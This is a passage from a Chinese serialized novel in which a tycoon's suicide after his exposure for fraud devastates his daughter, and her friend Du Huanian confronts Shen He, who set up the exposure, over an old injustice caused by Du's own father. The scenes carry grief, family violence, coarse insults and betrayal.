赶回别墅时,太阳已经快下山了。哭声淅淅沥沥传来,杜华年才停好车,李雯就冲了下去,杜华年紧跟在后头,很快就看见了满院子的警察和医生,院门外停着警车和救护车,甚至还有一辆消防车,李雯的大哥大妈和亲妈诗萍围在一处。
地上放着一个担架,担架上一个人,身上盖着白布,头脸都遮住,李雯大哥站在一旁沉默,大妈和诗萍跪在地上死死拉住担架边缘,哭天抢地。担架周围还站着消防员和医生,都一脸无奈地看着这一地的人,两个民警站在不远处抽烟,从别墅大门里还在陆续走出搬着物品的工作人员,都带着白手套,有序走出院门,将搬出来的东西一样一样往警车里放,警车旁边还站着一个记录员,一个公证员。
诗萍哭着哭着就晕了过去,扑倒在李东海的尸体上。大妈看见了,突然发狠,伸手一把抓住她后领往后一扔,力气大得惊人。诗萍被砸到地上,醒了过来,疼得叫出声,大妈反身过来对她拳打脚踢,破口大骂,“都是你!都是你这个贱女人,你个狐狸精!陪酒女!你生的女儿和你一路货色,都是出来卖的!啊,我知道了,是你故意的,你预谋的!都是因为你们母女,把我们家害成这样!说,你是怎么勾结外人陷害我家东海的?你老实交代,让警察还我们清白……呜呜……你这个狗娘养的!你祖上的女人都是出来卖的吗!你……”大妈越骂越难听,越骂越激动,下手也越狠,诗萍毫无还击之力,只能抱着头不断尖叫。两个女警放下手里的物品,跑过来要拉开她们。
李雯一看见地上的担架就顿住了脚步,双脚好像被钉在了地上,大脑的意识和全身的感知都被抽空了。发觉她在颤抖,杜华年拉住她的手,她的手冷得像一个冰块。直到看见诗萍被打,李雯终于回过神来,跑过去挡在诗萍身前,开口就是哭腔,眼泪也同时争相滑下来,“妈!起来,跟我走吧!”大妈的拳脚都砸在了她背上。
在女警的帮助下,大妈终于被拉走,诗萍也被李雯扶起来走开,她已经被打懵了,靠在李雯身上抽搭。李雯回头看看地上的李东海,泪如雨下,问诗萍,“妈,我爸为什么自杀?他怎么死的?”
一句话,诗萍清醒了过来,她猛地一下捉住李雯的手,“你到底做了什么?律师说了,就是有人告密!是不是你?是不是你!”
一道晴天霹雳穿透她全身,李雯看着亲娘凶恶的眼神,心头滚过万千可能性,哽得说不出话来。但诗萍却一眼就看出来她的心虚,瞬间明白了这一切都和她有关,于是她爆发出更剧烈的哭喊,“是你!我怎么生了你这么个……”她说不下去,抬手“啪”一下,给了李雯一个重重的耳光,李雯直接被扇倒,跌在地上,接着诗萍又打了自己一个耳光,绝望又恶狠狠地盯着李雯,“你滚,滚——!”诗萍回头又走向了担架。
杜华年跑过去扶起李雯,此刻别墅大门已经被贴上了封条,担架也已经开始往车上抬,李雯向前跑了几步,可是看见大妈、哥哥和亲娘残破不堪的背影时,她又停下来,眼睁睁看着这一大群人上了各自的车,车子一
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辆一辆开出了院子,没有人理会她,没有人看见她。
李雯就这样跪坐在院子外的草地上,不说不动,眼泪不时掉一颗,又掉一颗。杜华年看着天边巨大的晚霞,好像一只烧红的饕餮,即将把天地吞噬殆尽,然后我们就会来到它肚子里的黑夜。
要怎么说这个事呢?李东海偷税漏税是事实,李雯也确实想威胁他,要个两三千万,然后和这个家一刀两断,再把证据交出去,让李东海尝尝报应的滋味。
可是李东海为什么会死呢?她根本没要到证据,是谁举报的李东海?
好吧,即便他罪有应得,可是她仍然觉得撕裂一般的疼痛。直到此刻,她才发觉,原来不管这个父亲有多么不像个父亲,她多么的缺少实质的父女亲情,哪怕是一个虚无的符号也好,至少它还存在,她还有父亲。
她不能连个符号都没有了吧?
“老杜,我没爹了……”李雯声如游丝,“我害死了我爹……”
杜华年很清楚这种感受:我多恨他都行,那是我,是他女儿。可是别人害他,即便他死有余辜,却也还是不行,不可以,不接受。
可他如果还活着,我们也未必多爱他,还很可能恨之入骨。这到底是为什么,杜华年也不知道。
“只是偷漏税,补交加罚款就行,可能还有别的事。”杜华年说得很慢。
李雯转头看她,眼中一半是疑惑,一半是可怕的明了。
杜华年举起手机递给她,今天的头条里,李东海自杀赫然在列。
其实事情很简单,哪个巨富屁股干净呢?不跟几个败类官员勾连,怎么可能赚到十辈子也花不完的钱呢?可是一旦东窗事发,哪个巨富不是头一个替罪羊呢?
李东海涉嫌庞氏骗局和非法幕后交易,证据链一夜之间就完整出现了,舆论发酵的节奏又快又专业,甚至多年前的无头命案也有人翻出来,煞有介事地安在李东海头上,细节抠的甚至可以说严丝合缝。
最要命的是,今天早上一开盘,东海集团股价暴跌,不出一个小时直接跌停,市值蒸发近三十亿!当年李东海可是只凭十万本钱,仅仅用了三年,就敲了上交所的钟。半生下来,翻到三十亿,半天下来,赔掉性命。
新闻上说,李东海在书房喝酒送头孢,顺手还纵了火,外墙还看不出,可其实里头,已经一片焦黑。李雯和杜华年来得迟,浓烟已经散尽。
“难怪,草地这么湿,他们脸上都是黑灰……还有还有,你有没有闻到,很大一股糊味。”李雯捉牢杜华年的手,把手机死死攥紧。
杜华年不知道该怎么安慰她,天黑了,路灯一盏盏亮起来,是万物归家的时刻。李雯突然发出一声凄厉地嘶喊,接着嚎啕大哭,撕心裂肺,手死命抓着胸口,跪在地上,像个野兽。
“为什么我从十多岁到三十多岁,整整二十年,一颗心就从来没有安定过!是我太贪心吗?”她用手捶胸,“它什么时候能踏踏实实躺在里面,不再因为别人高兴生气它就一上一下的?我讨厌这种感觉,我讨厌它好像长在人家身上,在我妈身上,在男人身上,在我爸身上,在你身上……我讨厌它,它什么时候能回到我自己胸膛里?我讨厌它……”
李雯用力捶打自己的胸口,她力气极大,杜华年想尽办法用手去垫着,想要控制住她,但收效甚微。看着李雯这个样子,她也红了眼眶,才发觉一直以来她最忽略的就是李雯。或许,她每一次恋爱的结束都痛不欲生,只是见她从不反抗,杜华年就默认她喜欢这种生活,所以从来不去关注她细微的变化。其实现在想想,有没有一种可能,她无度地恋爱,都是因为反抗不了这个家庭,反抗不了命运,谈恋爱时多巴胺和肾上腺素的分泌,会让她有一种反抗的错觉,就像毒品。
想通这层,杜华年掉下眼泪,她也忍不住呼吸颤抖,长长一叹,“阿雯,站起来,站起来!”她硬是拉起她,“走,我带你回家!”
59. 沈荷,你到底是个怎样的人?
洗过澡后,李雯平静了下来,杜华年给她煮了碗面,她乖乖地吃起来,像个AI。
她平静得太快,杜华年知道这不对。“你别想这么多,先吃点东西,睡一觉。”
李雯点点头,一口一口吃完了面,甚至连汤都喝个一干二净,又乖乖地吃了一颗安眠药,睡了。
杜华年不敢回楼下,站在李雯家的阳台上抽烟,猫猫被她从楼下抱上来,此时陪在李雯枕边。
这样的雷厉风行特事特办,肯定是有人实名举报,她查了源头新闻,举报人竟然就是那个跑路的财务总监,李东海的情人。杜华年终于回过味来了,原来这一切都是别人做的局,李雯被涮了,李东海也被涮了,而宋林……恐怕宋林是这个局里最精密的一环……忽然有一条线通了,她查询了天地文化的备案信息,才发现她漏了一个细节:天地文化是宋氏集团旗下的子公司,宋林,如果不是碰巧姓宋呢?那么他和沈荷……是什么关系?
想到这里,她感到胆寒,她才回来两天,见了沈荷一面,剧情不仅没有回转,甚至现在才是真正的急转直下。她到底为什么如此恨我?
恨我便恨我,为什么要波及无辜?
可无辜两个字刚出现在脑海,她又觉得可笑,李东海哪里无辜?可是他现在死了,李雯的良心却受尽折磨,做错事的是谁?没做错事的人为什么总是承受更多?
公平到底在哪里?什么又是正义?人,到底是个什么物种?
明明李东海是个罪恶的资本家,可是当他是自己朋友的父亲时,他是身边活生生的人时,他的死,就不再是一个消息,一条通讯,一个结果。毕竟他投资过她的工作室,他从来没有伤害过杜华年,他对李雯不好,可他还是承认了李雯母女的身份。对于杜华年而言,他似乎就是这样一个无辜了。
此时此刻,她无比想念老刘头,她想至少有个人问问,这个世界,是已经疯癫了吗?
自然的,她想起了老刘头给她的那封旧信。下楼想要去找出来,在自己家门口,看见了刚找来的林见月和曾倩,后头还跟着个刘白。
“芳芳姐,雯姐她还好吗?”曾倩眼睛红红的,像是哭了好大一场。
“上去看吧。”杜华年心里瞬间明白,事还没完。
三个人排排坐在沙发上,杜华年进卧室看了一眼,确定李雯还睡着,才出来坐在他们对面。“还出了什么事?”
林见月递给她一封律师信,“是沈荷,她说我们在公众号更新的漫画侵权。现在账号已经被封了,他们那边出了一个新账号,继续更新,故事走向、人物设定,甚至主角配角,都变了。”
杜华年仔细看完律师信,叹气,用手撑着额头,另一手去摸烟。
曾倩开口,“对不起!芳芳姐,我跟她签合同的时候没仔细看,她合同里写的是买断我所有的文字作品版权,我没想到,连漫画……”
“漫画属于改编,只要先有文字作品,后续一切都是改编,无论什么形式。这一点基本的知识产权常识,你大二就该学过了。”杜华年说得很慢,但语气极其严厉。
曾倩的眼泪就这么掉下来了,“对不起,对不起对不起……”
刘白看不得曾倩哭,立即揽住她,可曾倩觉得这是在逃避惩罚,用力拨开了他的手。
“她现在拥有改编权,想要怎么改就怎么改,我们确实不能再继续画这个故事了。见月,你先回学校吧,这件事应该还不会波及你。我身上现金不多了,先给你转账一万,你……”
“我不是来要钱的。”林见月打断她的话,“华年姐,我信任你,喜欢跟着你干。你能回来,就一定能解决所有麻烦,我回学校等你。你不用给我钱,我不缺钱。”她说完就走,跟谁也不打招呼。
林见月的话就像一把刀,插进曾倩的心里,她擦了把泪,“芳芳姐,我对不起你。我不信你,所以……”
杜华年抬手打断她,“你为了你自己,没什么大不了。我从来没要求你和我一样,你妈妈也是,她只希望你成为你自己。”
听她这么说,曾倩哭得更狠了,呜咽了一阵,抽抽搭搭地开口,“不,不……不是的,芳芳姐,我不想你总是、总是因为我妈、因为我妈宽容我……”
杜华年看着她哭,没说话。
刘白开口了,“还有一件事,沈荷打算起诉曾倩违约,因为她没有在规定时间内完成新剧本。”
杜华年终于瞪大了眼看着曾倩,“合同的时间是怎么规定的?”
曾倩哭着说:“一个月一本……”
“你疯了吗?!”杜华年“嚯”一下站起来,“你看清楚才签的?”
曾倩点头。
杜华年深深吐出两口气,点着了烟,还是忍不住,“你得是有多膨胀!!你……”
刘白抬头看着她,一只手还护着曾倩。杜华年看着这个小年轻,更气了,指着他骂,“你就护她吧!你就看,哪天她能不能把自己作没了!!”
骂开了,就更不解气了,“曾倩你没脑子吗?你自己这个本子费了多少力气,扒了几层皮才写出来,你自己不知道吗?!你怎么敢……一个月一本,你怎么敢的啊!!”她的手颤抖,烟灰掉了一地。
曾倩咬咬牙,“芳芳姐,你不用管我,你防着沈荷,她还要对付你的。”
“我当然不用管你,沈荷的目标是我,你只是炮灰而已。”杜华年还想骂人,可是无意间瞥了一眼卧室,想起了里头的猫猫和李雯。想起了这半年及至这一年来的种种。
她不能不想,或许就是因为自己从来不考虑别人的感受,才会忽略了那么多。沈荷说得也没错,从喵喵到曾倩,这些人的背离,与自己不无关系。到最后,身边只剩下一个李雯,很难说不是因为李雯从她家里学会的受虐倾向。
怒火骤然偃旗息鼓,她掐了烟,坐下来,“你先回去吧。”
“那你呢?”曾倩睁着大大红红的眼睛问。
“我要好好想一想。”她又看向刘白,“你帮我问问你爷爷,沈荷当年出国,到底是为了什么?我记得她那时,明明快硕士毕业了。”
刘白点点头,又问,“你干嘛自己不问他。”
杜华年哼笑,“我是俗人,他已经脱俗了,我跟他联系越多,他的安宁就越少。”
刘白似懂非懂,拉起曾倩要走。
李雯却正好打开了卧室门,睡眼惺忪间,看清了曾倩。
客厅寂静了一瞬,继而李雯大喊,“你还敢来!”冲过去抓住曾倩,扬起手就要打。刘白眼疾手快拦住了她的手腕。
李雯看见还有人护着曾倩,瞬间就疯了,用力甩掉刘白的手,抓起沙发上的痒痒挠闭眼往曾倩身上砸,边砸边吼,“你他妈个狗娘养的!你还有脸?你他妈真有脸,叛徒!瘪三!!小赤佬!!!有爹生没娘养!我*你妈……”李雯越骂越脏,似乎是要把大妈骂她母女的恶毒复刻一遍。刘白还有理智,不想真的跟她动手,只能把曾倩捂在怀里,绕着沙发躲闪,身上没少挨闷棍。
猫猫早就闻声赶来,追在李雯身后,小短腿谁也够不着,但一直发出“汪汪”的怒吼,试图吓退不知道谁。就这样,三个人,一个狗,分两组,在客厅上演了一出秦王绕柱。
杜华年绝望地捂住了脸。
宋林从千帆过开车回画室,正是晚高峰,红灯一个又
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一个,他打开了收音机,听到了今天全城最热门的新闻:李东海破产自杀。
一瞬间,他大脑空白了。等红灯的时候,他打给李雯,没人接,打给沈荷,关机了。他着急加塞到掉头车道,几乎刮擦前车,被人摇下车窗指着鼻子骂,也充耳不闻。
终于红灯变绿,他掉头往李东海的别墅去,这一路倒畅通无阻。
别墅周围拉起了警戒,他什么也不是,没办法进去,只能远远看着跪坐在地上的李雯和一旁扶着她的杜华年。直到天黑,直到警戒解除,直到杜华年扶着她上了车,直到杜华年的车消失在他的视线。
此后,在宋林的人生里,再也没有哪种无能为力,比得过这个黄昏。
他开车去找沈荷。
沈荷仍在她的楼顶。宋林甩开助理的阻拦冲进小门,大叫,“沈荷!沈荷!”他拨开眼花缭乱的纱帘,四处乱窜。沈荷在玻璃花房里看着他来势汹汹的背影,笑了,“你来兴师问罪?”
听到声音,宋林一个转身看见了她,他大步冲进花房,怼着她的脸举起手机,“沈荷,这是不是你做的?”
“她只是尽了一个有正义感的普通公民的义务。”沈荷轻飘飘地拨开手机,“李东海只是承担他自己所作所为的后果,你不平什么?”
“本来交钱就能完事,为什么他会死?你只是说会把证据上交,可是不管哪个部门都不会把消息卖给记者!”宋林一手用力拍在沈荷面前的玻璃台上。
“公职人员当然不会,但你能确定在整件事情里,就没有任何一个普通老百姓吗?那个被你买通的女会计,她不会说吗?她才分到多少钱,如果同样一份资料能卖三家,是你,你会只卖一家吗?”
宋林倒吸一口凉气,确实,沈荷根本没必要亲手做这件事,有的是人争先恐后落井下石再从中渔利。他想从这出悲剧里撇干净,根本就是自欺欺人。他红了眼,问沈荷,“一定要这样吗?杜华年今天不是来跟你认输了吗?你已经赢了呀!”
“我和她的事轮不到你来说!”沈荷突然翻脸,眼神一瞬间冰冷下来,“不要用你的标准来要求我。你不是我,你如果良心遭到谴责,你就自己找个地方去难过,去哭,去受折磨,和我无关。也不要试图让我替你分担责任,我并没有强迫你按照我的计划去做,你是一个自由人,你做的一切都是你自己决定要做的。”
宋林一颗心砸到了地上,沈荷的话无法反驳,宋林无数情绪千回百转,出口只有一句话,“沈荷,你到底有没有喜欢过我?”
沈荷像听到了什么笑话,“我做了什么,让你有这种错觉?”
“十年前,我追你的时候,你明明都快接受了,后来为什么会嫁给我爸?”宋林双眼已经通红,他感觉面前这个女人,简直不像个人,像个疯子。
“那么久远的事情,我已经忘记了,但是,我可从来没有说过我喜欢你。你只不过是我死去丈夫的儿子而已。我现在管理你父亲的集团,这里面也势必有你的遗产,如果你想领走,那就找个律师我们走程序。但我要提醒你,遗产继承绝对不是一笔划算的买卖。”
宋林彻底失去了耐心,站直了,冷漠地俯视她,“沈荷,你到底是怎么变成这样的?还是说,你本来就是这样的人?”说完,他转身离去。
沈荷看着他消失在小门内。她身后有一棵树叶丰厚的灌木,枝叶底下藏着一个小木箱,她拖出来,从里头拿出一瓶红酒和一支水晶杯,倒了一个满杯,一口气喝干。
正如宋林的问题,她到底本来就是这样,还是说她曾经也是无辜良善?她自己也无法回答。
“芳生,今晚,你会如何度过?”
60. 除了我,她还在骂谁?
把曾倩和刘白打出门后,李雯坐在沙发里哭。人在难过的时候,人生就会从头开始在脑海中重新上演,每一段已经掉色到几乎隐去的悲伤画面,又会重新鲜艳活泼过来。从小时候被抢走的布娃娃开始,到现在破烂不堪的自我,一帧又一帧地击溃你的防线,在你的心脏中央,重演那种剜肉削骨的残忍和疼痛,一遍又一遍。
宿命就是一种诅咒,像一个琥珀壳子,把你和你的人生深深困在里面。但琥珀又有一个极美的说法:你看见的,是几千万年前的时光啊!
可当我们看琥珀里的虫子、树叶、泥土时,从来没想过,如果那个虫子就是我,那些树叶泥土和那些凝固在胶体里的风雨,就是我的一生,一生就是一出戏,琥珀壳子里,是永不落幕的戏台子,你不能退场,不能休息,跳不出来,也改不了戏,即便你已经知道自己为什么错,但还是改不了这个错……这时候,我们还会觉得,它极美么?
杜华年看着李雯哭,看着她哭得鼻青脸肿,哭到满目疮痍。她想起了自己的琥珀,里面就是满目疮痍。我们哭,因为我们的人生永远困在琥珀里,不论看向哪里,都是废墟。
但她也知道,这时候的李雯才令人终于放心,因为这样哀哀的低泣,没什么声音的,但面目朝天,满眼绝望,泪水汹涌,和着声声凄厉的叹息,可比她傍晚跪在草地上的哭嚎要震耳欲聋多了,这才是一个混在红尘世俗里的成年人,痛苦时的样子。
不堪重负。
李雯在沙发里睡着了。杜华年回楼下取来了华丽娟的信。老刘头给她发了一封邮件。
是一封抄送,内容是十年前的,竟然还是何文谦发给老刘头的:
老刘,
你好。
从毕业一别,已近二十年,我从未与你再联络过,我想此刻你看见这封信,应该知道我为何而发。
你说对了。不得不承认,年少时我们都意气风发,谁也不服谁,可是你还真的是懂我,我的孩子果然就是来讨债的。
我做了一件事,但产生了连锁效应,现在也不知道我做的对不对。我不同意我女儿出版她的小说,但她用了她学校里一个研究生学姐的名字出了这本书。我打听了,这个研究生一身正义感,同情她,自愿帮她。
但,你要我怎么相信,这个女孩子她将来不会倒打一耙呢?毕竟作假的是她们两个人,我的女儿未来势必是要成为著名作家的,到时候,她贪图我儿的名声响亮,把这段过往拿出来公之于众,或者以此来要挟我儿,那就真的完了。
人性啊,现在的孩子哪里懂?可是老刘,我们那会子过来的人,可是太懂了,没有人在巨大的利益或者压力面前还能不动摇,动摇的人里,能有几个坚持道德?我不敢赌啊!
我动了点关系,敲打了一下那女孩的导师,导师是个很圆滑的人,用了一个学校里出国的机会来换她的硕士学位。我想应该没问题了,可是没想到,这个女孩竟然来找到了我。
我没有隐瞒,告诉她我的担忧。可她很不同,比起为何我要打压她,她更关心我为什么要为难自己的孩子。嘿,老刘,我又见到一个像你一样的怪胎,她来问我要公平。
唉……老刘,也不知道是不是老了,我突然想和你坐在一起,喝点酒,说会话。
就到这吧。
祝:
一切好!
何文谦
2014年5月3日夜
杜华年很震惊,但又不那么震惊。只是她的琥珀也开始升温,里头的舞台发出了耀眼的光芒,她的人生也开始一帧一帧活过来。她慢慢地开始哀泣,面目朝天,满眼绝望,泪水汹涌。
热泪纷纷滚过面颊,烫得她睁不开眼睛。
她也哭到了鼻青脸肿,满目疮痍。
李雯的电话突然亮了起来,宋林来电。杜华年接了起来,还带着哭腔,“沈荷在哪里?”
宋林那头一顿,反应过来是杜华年的声音,他更意外的是,杜华年竟也是会哭的。更没想到,杜华年已经猜到他和沈荷有关系,心里甚至觉得有些害怕。
“她在哪?”杜华年加重语气,怒问。
“还在公司。”
“嘟嘟嘟嘟——”
她飙车来到天地文化楼下,这栋大楼黑乎乎的,像个巨兽,只有高层几扇窗亮着灯,像巨兽的眼睛。
“华年姐……”
身后传来一个低微的男声,回过头,她看见了宋林。她大步走上去,语气凌厉,“说你和沈荷的关系!”
宋林轻轻闭了闭眼,“沈荷是我继母。”
没有想象中那么意外,杜华年锐利的目光牢牢盯着他的脸,“她掌握了你的把柄还是你的财产?”
“我曾经暗恋她。”宋林低下头,没看见杜华年极短地惊愕。
“后来被我爸知道了。”他继续,“我爸骂我不知廉耻,我跟他吵架,还动了手,结果他气得爆血管,没救回来。”他自顾自说,手也慢慢捏成了拳头,到这里,他顿了顿。杜华年皱起了眉,判断他的话有多真。
“那时候我年纪小,很害怕,所以就跑了,跑到欧洲,一大摊烂摊子没人管,是沈荷接管了我爸的所有产业。后来我回国,就认识了雯雯……雯姐。”
“什么时候的事?”杜华年心里骂李雯这个体质,吸的不止是渣,简直就是邪。
“五年前,也不知道我爸怎么就开始关心我了,翻我的日记。那时候我才二十一岁,除了怕,就是自责、后悔……这些情绪我根本承受不了,只能想到逃走。”
杜华年沉默了一会儿,又问,“你亲妈什么时候没的?”
“我很小的时候,可能只有八岁吧。”
“你追求李雯,到底是为了什么?”
“我是真的喜欢她!”宋林激动起来,抬起头睁大眼望着杜华年。
“不是沈荷设的局吗?”杜华年问得很慢。
“不,绝对不是。我回国的时候,她还没有重新联系我。真的,我没骗你。我没必要啊,今天我可以不来找你的……”他越发激动,语无伦次起来。
杜华年一抬手打断他,“你为什么喜欢李雯?”
宋林被迫冷静下来,“因为她不像我……我是说,她一点都不像我们这种人,说好听是富二代,说难听点,就是废物,你们文化人说的纨绔。”
“你和沈荷
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又是怎么回事?”
“那时候我还在上大学,她刚刚来,正好是我们教授的助理,那时候她和现在一点也不像,但是好像经历了很多伤心事,又神秘又简单,又脆弱又坚强……我追她,可她根本不理我,我就想尽办法出现在她视线里。我一直追了一个学期,她才勉强和我成了朋友。我本来高兴得不得了,以为可以慢慢让她对我改观,可是没过多久,她就说她要回国,我怎么挽留都没用,然后就单方面和我断开联系。可是还没等我缓过来呢,我爸就把她带回来跟我介绍,说是给我找的后妈,呵……”
杜华年看着宋林陷入回忆的脸,心中慢慢勾勒着沈荷这些年的人生路途。
杜华年叹气,“沈荷是什么时候来找你做的局?”
宋林回过神来,“我们从贵州回来的时候。”
和杜华年推断的差不多,她又想:我不澄清这件事,到底哪里刺激到她了?同时,她又想起一件事,“所以,你借李雯那笔钱,是真的搞自己的画室?”
“当然,这件事我没骗她,我从头到尾也没想骗……”
“这些你就不用跟我说了,跟我说说沈荷,你对她还了解多少?”
宋林又落寞下去,“我只知道,她这次再出现,和从前几乎完全不同了,就像两个人。”
“她和你父亲感情怎么样?”
“不知道,她住进我家后,我就更加不常回去了,每天都和朋友在外头玩,今天睡哪里,明天在哪里醒来都不知道。”
“她用什么要挟你,让你帮她骗李雯?”
“没有,是我一念之差,”宋林声音更低了,“我不想看见沈荷,不想和她待在一个城市,我想带雯雯走,但她就是不听我的,一定要和你搞这个工作室……我不知道怎样才能让她明白,她是斗不过沈荷的。她也不相信我,不信我真的爱她……”
杜华年冰冷地打断他,“我也没有看出来你爱她!”
宋林眼皮抖了抖,没再说话。杜华年转身就走,宋林才想起自己关心的问题,“华年姐,雯雯现在怎么样?我想见见她。”
杜华年继续走。
“我真的没想到事情会发展成这样……”他追上去,“我以为沈荷只是拿证据要挟李东海,我也想着,如果雯雯不能如愿,就……”
“如果她不能如愿,就会知难而退,乖乖听你的话,跟着你走了,对吗?!”杜华年突然停下来,转身逼视他的双眼,怒不可遏地吼出来,“我是真佩服你们自说自话的本领啊!你自己是一个窝囊废,受了挫折就想逃避,别人就一定要和你一样?凭什么李雯也要做个窝囊废?你是真没听进去我说的话啊,我是不是告诉过你,李雯是个悲伤的小女孩?凭什么她要一直逆来顺受?哦!她原来是窝囊废,就要一直做窝囊废是吗?她就不能改,不能变好了是吗?!凭什么为了达到你们的目的,就可以任意操纵别人的人生?控制别人的选择?你爱她?放你他妈的狗屁!托你的福,因为你的爱,她连要挟她爸的机会都不再有了!”骂完,她疾步走向大楼,一边颤抖,一边泪流。
宋林被吓得愣住了,立在原地很久,才想:我们?除了我,她还在骂谁?
61. 公平里面,一定不能有操纵
可能是红酒喝得急了,沈荷眼前总会重复出现宋林问为什么时的眼神,她很熟悉这种崩溃和费解。当年,她即将毕业,导师却建议她出国,她也问为什么,问得导师都怕了,躲着她,拖着她的论文不让她过。她很费解,也很执着,逼上导师家门,还是师母心软了,告诉她这是何文谦的意思。那些年,何文谦在出版界如日中天,学校教授有什么能耐?说白了,要赚钱,要有个前途,还得看外面的世界里,谁说了算。
她已经打算接受后果了,毕竟何芳芳没逼她,是她自愿替何芳芳出头作假。但她仍然有许多不明白,她去找何文谦,在那栋高高的出版集团大楼下,足足守了一个礼拜,终于等到何文谦“休假”回来。何文谦和她想的并不一样,他谦和,说话简洁,思维敏锐。他一眼就认出了她,并邀请她到自己办公室详谈。
“为什么?我是在帮你女儿,给你女儿使绊子的人是你啊!”沈荷说得很用力,眼镜滑了下来,她用力往上推了推。
何文谦似笑非笑地看着她,不无戏谑地说:“你好像有很多想不通的问题。”
半瓶酒已经下肚,沈荷看见了十二年前的自己,她终于明白了何文谦到底看出了什么,她现在也看出来了。“你真的有很多想不通的问题。”她望着玻璃桌,自嘲地重复这句话。玻璃桌上映出她的脸,在夜晚的灯光幻影下,在酒精的迷惑里,倒映在玻璃上的人,是十年前的沈荷,眉目肃丽,头发梳的一丝不苟,穿着棉布白衬衣,不施粉黛,一身书卷气。
狂风骤起,上一秒还向北飘的纱帘,下一秒便翻卷向南,被风拉扯得几乎撕裂,发出猎猎声响,天地一瞬之间风云色变。天空一角劈下一道四分五裂的闪电,黑云卷聚,西伯利亚第一道实力强劲的冷空气,终于赶到了。
整座城市被颠倒。
沈荷举着空杯,转头去看那道闪电。此刻,杜华年正要走进大楼,闪电劈下的瞬间,她凌厉地抬头回望天角,北风掀翻她的衣襟和长发,张牙舞爪地盈空乱飞。
电梯通往顶楼的功夫,雨就下来了,雨点又冷又硬,大颗大颗地砸在玻璃房顶。杜华年走出小门,雨立刻砸在她头上脸上身上,她恍如未觉。
高跟鞋“踏踏踏踏”地敲着地面,和玻璃上的雨点相和。
金戈之声。
走进花房里,她的脸是洇湿的,朦朦胧胧全是水汽。沈荷似笑非笑,“想通了?挺快的。”
“啪”,她丢了一个文件夹在玻璃桌上,沈荷仍笑着打开,然后笑容凝固。文件夹里是老刘头抄送的那封邮件。
沈荷看完,抬眼看她,那眼神终于脱下了人的外衣,真正像个鬼了,没温度,没生气。
“你真是聪慧,这么快就挖出了陈年往事。哦不,应该说,果然还得是有人脉。”
“沈荷,你恨我,但你又觉得你恨不着我。”杜华年俯视她,觉得有些累,从旁边拖过来一个不知道什么的东西,坐下了。
沈荷的嗓音竟然变得像燃烧的枯柴,“其实这么多年,我越来越喜欢你了,你从芳生变成杜华年,从一个小白兔变成毒皇后。你不会知道,我每次看见你写的新戏是多么兴奋,你每一条热搜的新闻我会摘抄,我还会保留你的每一张照片,我微博的小号,是你的大粉。”
“荷塘月色。”
沈荷故作惊讶,“啊呀,猜对了!”
就此沉默,两个人都停了下来,她们都想起了曾经。在小夜市喝大了,两人勾肩搭背走回宿舍,路过学校的荷塘,月光正好,两个神经病就站在塘边,高声背诵荷塘月色,惊起一对又一对情侣。
杜华年抹了把颊边的雨水,朝沈荷伸出手去,向上抬了抬。沈荷斜她一眼,从身后箱子里又拿出一只水晶杯,倒了半杯给她。
杜华年很渴,一口气喝完,沈荷又给她倒。
雨越下越大,所有的灯都模糊了。
“大家都说我抄袭的时候,我最担心的就是牵连你。”杜华年打破了沉默,“虽然我并不知道你在哪里,过得怎么样,还会不会被我们这个倒霉圈子的事情连累。”
沈荷喝完了杯中酒,发现酒瓶子也空了,伸手往后摸,又摸出来一支,撬开,倒满,“我当年,非常与你共情。觉得你爹简直不可理喻,他自己坏,就把所有人都想得那么坏!不过,我倒是不鄙视他的,他这封邮件上说的话,就是当年跟我说的原话,我敬他,是个心狠手辣表里如一的……奸雄!”
沈荷高高举起了酒杯。
杜华年看她高举的手微微颤抖,笑了,逐渐笑得大声起来,然后骂,“雄个屁!”当——酒杯在空中相撞。
“我后来发现,他没有错。”沈荷看着她脸上的苦笑,自顾自说:“每个人都逃脱不了人性的控制,他控制你,你控制你的员工,他控制我,我控制我的丈夫,都是一样……一旦失控,人就会疯狂……看起来,我们都很厉害,但其实,我们都很弱小……被自己的欲望和恐惧控制着……”
沈荷已经开始语不成调,杜华年却知道她很清醒。“所以你觉得我一定会出卖你,好保住我的名声和地位?”
“我公关预案都做好了,就等着你说出当年的真相,结果你一个字都没提!”沈荷望着她,神情夸张,“为什么?你为什么不提?你忘了我?”
杜华年攥了攥手,又松开,“沈荷学姐,今天就让我们好好叙个旧吧。”
沈荷凝视她良久,一笑,“好啊。你想知道什么,我今天都告诉你。”
“我小姑姑告诉我,你出国的所有费用是我爸负担的,甚至你毕业之后一整年,他都还在往你账户打钱,我有印象,那时候我妈整天疑神疑鬼,觉得我爸在外头包了一个女大学生。他能下这么大的血本,交换条件是什么?”
“我不能回国。”沈荷咬着她的话落开了口,“我和他签了协议,明确说了十年内不能回国,如有不可抗力回国,不得从事出版、文学相关行业。
但我妈又死活不肯出国。那些年,我一个人在国外,什么都不习惯……就算饿了一天,只要吃两口面包就饱了,再也吃不下去,那时候我瘦得像一把骨架子,头发大把大把地掉……最怕的就是生病,老外的药都治标不治本,很多时候就靠自己熬。”
“这种强词夺理的协议你当年为什么签?”杜华年分明看见了沈荷眼中的斑斑泪光,忍不住问。
“你以为我不签,就能找到工作了?我的硕士论文改了五次,导师都不让我过。你是不是太小瞧你父亲的手段了?你忘记你当年想卖个小说都跟过街老鼠一样啦?”
杜华年噎住了,她在沈荷脸上还看到了一丝得意。
“这些事我都不知道,你为什么不来告诉我?”
“告诉你有什么用?你那时候在干嘛呢,你忘了?”
杜华年又噎住了,往回一算,沈荷出国那年她正读大二,为了消极抵抗父亲的专权,天天抽烟喝酒旷课缺考,就连沈荷出国那天,她都差点宿醉不醒,来不及去送。
“对,那时候我也没可能帮你。你还骗我,说你想出国看看。”
沈荷再倒一杯酒,“我追求正义的嘛,何文谦对你并不比对我好到哪里去,他好像从来不知道尊重人的哈?”
“你真的问他这个问题?”杜华年笑着问。
“嗯。”沈荷喝着酒,理所当然地应了一声,想起了什么,又爆出笑声,“你猜他怎么回答?”她清了清嗓子,端起架子,“他说:何文谦的女儿,就该有何文谦女儿的样子。我不同意她出版的小说,你替她出版了,就要做好承担后果的准备。”
她学得实在是太像了,杜华年没忍住笑了出来,沈荷也被自己逗笑了,两个三十好几的女人,拿着红酒,在大雨滂沱的天台花房里,笑得震天雷响。
笑累了,杜华年抹了抹泪,“这就是他。”
